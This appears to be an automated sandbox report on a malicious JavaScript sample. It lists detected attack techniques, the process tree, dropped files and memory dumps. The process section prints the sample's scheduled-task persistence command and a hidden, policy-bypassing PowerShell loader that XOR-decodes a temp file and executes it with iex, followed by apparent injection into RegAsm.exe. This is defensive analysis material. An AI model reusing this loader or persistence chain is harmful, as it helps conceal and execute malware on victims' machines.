Analysis
- max time kernel
178s - max time network
160s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
07/08/2026, 20:18
General
- Target 079927896b10191f3c8f9ea069e6784a2dc8f42b6aa6d121aeb7698a26088349.js
- Size 2.9MB
- Sample260807-y3anhsshka
- SHA256 079927896b10191f3c8f9ea069e6784a2dc8f42b6aa6d121aeb7698a26088349
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\079927896b10191f3c8f9ea069e6784a2dc8f42b6aa6d121aeb7698a26088349.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "PhotoStudioJS" /xml "C:\Users\Admin\AppData\Local\Temp\Task_3458.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\log_30889_83f8').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\log_30889_83f8' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0xA5};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};iex $sc"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hco1e10j\hco1e10j.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEBDD.tmp" "c:\Users\Admin\AppData\Local\Temp\hco1e10j\CSC33B6A5DD9BE84229A4A9C875510A0D2.TMP"4⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
RESEBDD.tmp
Task_3458.xml
hco1e10j.dll
log_30889_83f8
CSC33B6A5DD9BE84229A4A9C875510A0D2.TMP
hco1e10j.0.cs
hco1e10j.cmdline
memory/1884-40-0x0000000005490000-0x000000000554E000-memory.dmp
memory/1884-39-0x0000000005210000-0x0000000005264000-memory.dmp
memory/1884-36-0x0000000000400000-0x00000000004AA000-memory.dmp
memory/4576-10-0x0000000005DE0000-0x0000000005E46000-memory.dmp
memory/4576-11-0x0000000005E50000-0x0000000005EB6000-memory.dmp
memory/4576-15-0x0000000006490000-0x00000000064AE000-memory.dmp
memory/4576-18-0x0000000007660000-0x00000000076F6000-memory.dmp
memory/4576-19-0x0000000006A00000-0x0000000006A1A000-memory.dmp
memory/4576-20-0x0000000006A50000-0x0000000006A72000-memory.dmp
memory/4576-21-0x0000000007CC0000-0x000000000827A000-memory.dmp
memory/4576-22-0x0000000008900000-0x0000000008F7C000-memory.dmp
memory/4576-14-0x0000000005F40000-0x000000000629B000-memory.dmp
memory/4576-16-0x0000000006510000-0x000000000655C000-memory.dmp
memory/4576-9-0x00000000056B0000-0x00000000056D2000-memory.dmp
memory/4576-8-0x0000000074EE0000-0x000000007569C000-memory.dmp
memory/4576-6-0x0000000074EE0000-0x000000007569C000-memory.dmp
memory/4576-35-0x0000000007920000-0x0000000007928000-memory.dmp
memory/4576-7-0x0000000005790000-0x0000000005DDA000-memory.dmp
memory/4576-38-0x0000000074EE0000-0x000000007569C000-memory.dmp
memory/4576-5-0x0000000002F90000-0x0000000002FC6000-memory.dmp
memory/4576-4-0x0000000074EF2000-0x0000000074EF3000-memory.dmp